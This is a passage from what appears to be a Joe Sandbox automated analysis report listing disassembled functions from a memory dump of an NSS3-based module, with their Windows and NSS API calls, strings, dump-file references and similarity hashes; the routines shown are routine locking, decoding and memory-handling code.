DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C764C64,?,-00000004), ref: 6C761F37
DER_DecodeTimeChoice_Util.NSS3(?,dLvl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C764C64,?,-00000004), ref: 6C761F53

Strings

dLvl, xrefs: 6C761F2B, 6C761F51

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLvl
API String ID: 3216063065-3521198319
Opcode ID: ccb249bc4b0e3ce38bc77af7c0799429333e979b970ccc35fa9bf5872cf7deb8
Instruction ID: 1dfa977182dbf7bf9ad724123a2a91e66a0da10a370c2354e3f9b292d178b69c
Opcode Fuzzy Hash: ccb249bc4b0e3ce38bc77af7c0799429333e979b970ccc35fa9bf5872cf7deb8
Instruction Fuzzy Hash: 26218071509216AFC700CE6ADE48ADBB7E9AB84799F440939EC44C3A40F330E558CBD2

Function 6C750DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C750BDE), ref: 6C750DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C750BDE), ref: 6C750DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C750BDE), ref: 6C750DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C750BDE), ref: 6C750E32

Strings

%s incr => %d (find lib), xrefs: 6C750E2D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: cb8359149640fa81fe8f39b67dc110204e2c236b3bc8e25884576eab85cc5f41
Instruction ID: 3bbe7f5d25b6984d0034a3add0c964c8f3b211fb5fbf8ce15003befbc6717879
Opcode Fuzzy Hash: cb8359149640fa81fe8f39b67dc110204e2c236b3bc8e25884576eab85cc5f41
Instruction Fuzzy Hash: 4A01F1727002149FE6309F288D49E1773ACDB45A0CB54487EE909D3A42EB62EC24C7E1

Function 6C6F9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6F9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C6F9D45
EnterCriticalSection.KERNEL32(?), ref: 6C6F9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C6F9DDE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 744cca0b967de76fb598716129475668c60c8f359447698629f101ee100cd650
Instruction ID: e6fc7550e58f83b686da8460261f3796e6ff0a1b5b8e2763d9dc13019487cd49
Opcode Fuzzy Hash: 744cca0b967de76fb598716129475668c60c8f359447698629f101ee100cd650
Instruction Fuzzy Hash: D1A17A317051008FEB28AF24E99966E3776BB8631DF18013DD42647A41DB39E987CBDA

Function 6C781E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C781ECC

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

TlsGetValue.KERNEL32 ref: 6C781EDF
EnterCriticalSection.KERNEL32(?), ref: 6C781EEF
PR_ExitMonitor.NSS3(?), ref: 6C781F37
PR_Unlock.NSS3(?), ref: 6C781F44

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 1867579a23615be5fa71d35e6f03c3f1d0ffbc64a2a754b67b49db6951fc841d
Instruction ID: 309660292d7ce4eeb789b39fa7371dfc8b0b5038131ed0f078feb6536c9ce7c5
Opcode Fuzzy Hash: 1867579a23615be5fa71d35e6f03c3f1d0ffbc64a2a754b67b49db6951fc841d
Instruction Fuzzy Hash: E271DE729063019FDB10CF24DA44A5AB7F1FF88358F144939E9A893B11E731F958CBA2

Function 6C80DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C80DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C80DE77

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 09813c65c0e185fc086152725e670f058b370ff60f4905b034d00ec5df938da5
Instruction ID: 3dbd8f5bedad72d13ce37d018fb0c264ab6c3ceddac821130706bf91abf962a3
Opcode Fuzzy Hash: 09813c65c0e185fc086152725e670f058b370ff60f4905b034d00ec5df938da5
Instruction Fuzzy Hash: 27716771A00318CFDB20CF99CAC069AB7B4FF49718F25896ED9596B702D770A941CF90

Function 6C706D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C6F3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F3C66
Part of subcall function 6C6F3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C6F3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C706DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C706DE5

Part of subcall function 6C708010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70807D
Part of subcall function 6C708010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7080D1
Part of subcall function 6C708010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70810E
Part of subcall function 6C708010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C708140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C706E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C706E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C706EC2

Part of subcall function 6C707D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C707E27
Part of subcall function 6C707D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C707E67

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 1cd6e901787770d30b524787dbd1575576184384e7018decfc511b6f542c6120
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: 2651A1B1A083519FC724CF25C550BAABBE5FF88318F04896DE89987741E330E959CB92

Function 6C75EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C75EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C75EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C75EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75EEEB
free.MOZGLUE(?), ref: 6C75EEF6

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 4ee5369b3380809503d5b4870565531f31637e407405291ee87b6de29a284b3e
Instruction ID: 4ed7e5bdc393c89e40d9413967a6bfddb40ce4fb7aaa8d057e8c2639ac97fff5
Opcode Fuzzy Hash: 4ee5369b3380809503d5b4870565531f31637e407405291ee87b6de29a284b3e
Instruction Fuzzy Hash: 3231F7B17002049BF7209F28CD447667BB8FB46308F540539E85A87A51EF39E964C7E1

Function 6C761DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C761E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C761E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C761E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C761E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C761EAD

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 1ea9c5640a84f8adb2df5f109008741a393989f727e3dbf2e5f9e3f11da9011e
Instruction ID: 117ae03e549c5cf20fecbc13d78b76a25ff052c54c3e8dd6526b8aaba527b9cc
Opcode Fuzzy Hash: 1ea9c5640a84f8adb2df5f109008741a393989f727e3dbf2e5f9e3f11da9011e
Instruction Fuzzy Hash: B8213772E04310ABE7008E6ADE48B9BB3D8DB84729F144638ED5957F81E730D90887E2

Function 6C871E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C871E5C

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

PR_Lock.NSS3(00000000), ref: 6C871E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C871EAB
PR_GetCurrentThread.NSS3 ref: 6C871ED0
PR_Unlock.NSS3(?), ref: 6C871EE8

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 1f080adf857b86befb58204d9f70bc688e528c672f6202edb3add41c98998977
Instruction ID: 1f57e6bfe5b9c792cba41943e7911479fdd91d740c39686086a95d542301c63e
Opcode Fuzzy Hash: 1f080adf857b86befb58204d9f70bc688e528c672f6202edb3add41c98998977
Instruction Fuzzy Hash: 3321C476B14512ABD730CF19DA90A1AB7B0FF44718B258A25E8198BF50E730FC50CBE1

Function 6C7BBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C76E708,00000000,00000000,00000004,00000000), ref: 6C7BBE6A

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7704DC,?), ref: 6C7BBE7E

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C7BBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7704DC,?,?), ref: 6C7BBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C7BBEEB

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 75a24891a548e619b6818260f3882ffdfb8a5c454c43c0d03e9c384888c427f1
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 4511E26AA042056BE7108DA9AEC4F57736D9B40758F444135FE04E6A62E731E80486E1

Function 6C76AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C763FFF,00000000,?,?,?,?,?,6C761A1C,00000000,00000000), ref: 6C76ADA7

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C763FFF,00000000,?,?,?,?,?,6C761A1C,00000000,00000000), ref: 6C76ADB4

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C763FFF,?,?,?,?,6C763FFF,00000000,?,?,?,?,?,6C761A1C,00000000), ref: 6C76ADD5

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8894B0,?,?,?,?,?,?,?,?,6C763FFF,00000000,?), ref: 6C76ADEC

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C763FFF), ref: 6C76AE3C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 47e45cb59aa0f44ba4c2357b2473bee40c884205ba91af4c7fc5c937ed89ffda
Instruction ID: 6f5e193943831523e634f50845f0dbb87be9f968f195fdf6bb3b493b2451fd23
Opcode Fuzzy Hash: 47e45cb59aa0f44ba4c2357b2473bee40c884205ba91af4c7fc5c937ed89ffda
Instruction Fuzzy Hash: 9E115671E002156BE7109A6A9E49BBF73AC9F9135CF044638EC1996B41FB20E95882E3

Function 6C78CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C7A1E10: TlsGetValue.KERNEL32 ref: 6C7A1E36
Part of subcall function 6C7A1E10: EnterCriticalSection.KERNEL32(?,?,?,6C77B1EE,2404110F,?,?), ref: 6C7A1E4B
Part of subcall function 6C7A1E10: PR_Unlock.NSS3 ref: 6C7A1E76

free.MOZGLUE(?,6C78D079,00000000,00000001), ref: 6C78CDA5
PK11_FreeSymKey.NSS3(?,6C78D079,00000000,00000001), ref: 6C78CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C78D079,00000000,00000001), ref: 6C78CDCF
DeleteCriticalSection.KERNEL32(?,6C78D079,00000000,00000001), ref: 6C78CDE2
free.MOZGLUE(?), ref: 6C78CDE9

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4c4285f282f34275bb232d1ae558a23f70419e7f778dec64e9be7407d940de14
Instruction ID: 5ada9ea6e8613d34af22f0be3305cab254d8593b7d9cadd29bd945b1140ad84e
Opcode Fuzzy Hash: 4c4285f282f34275bb232d1ae558a23f70419e7f778dec64e9be7407d940de14
Instruction Fuzzy Hash: E511C6B6B02111BBDB00AFA5EE49996772CFF0425E7140231EA0997E01E731E424C7F1

Function 6C7F2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F2CEC

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_EnterMonitor.NSS3(?), ref: 6C7F2D02
PR_EnterMonitor.NSS3(?), ref: 6C7F2D1F
PR_ExitMonitor.NSS3(?), ref: 6C7F2D42
PR_ExitMonitor.NSS3(?), ref: 6C7F2D5B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 147225aad93528d22f7b7838c94b3715161403cc7f6bb78999dafa3829458b9c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: D7012BB1A406409BE7309E29FD85BC7B7A1EF41318F004935E86D86711D236F416C7A3

Function 6C7F2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

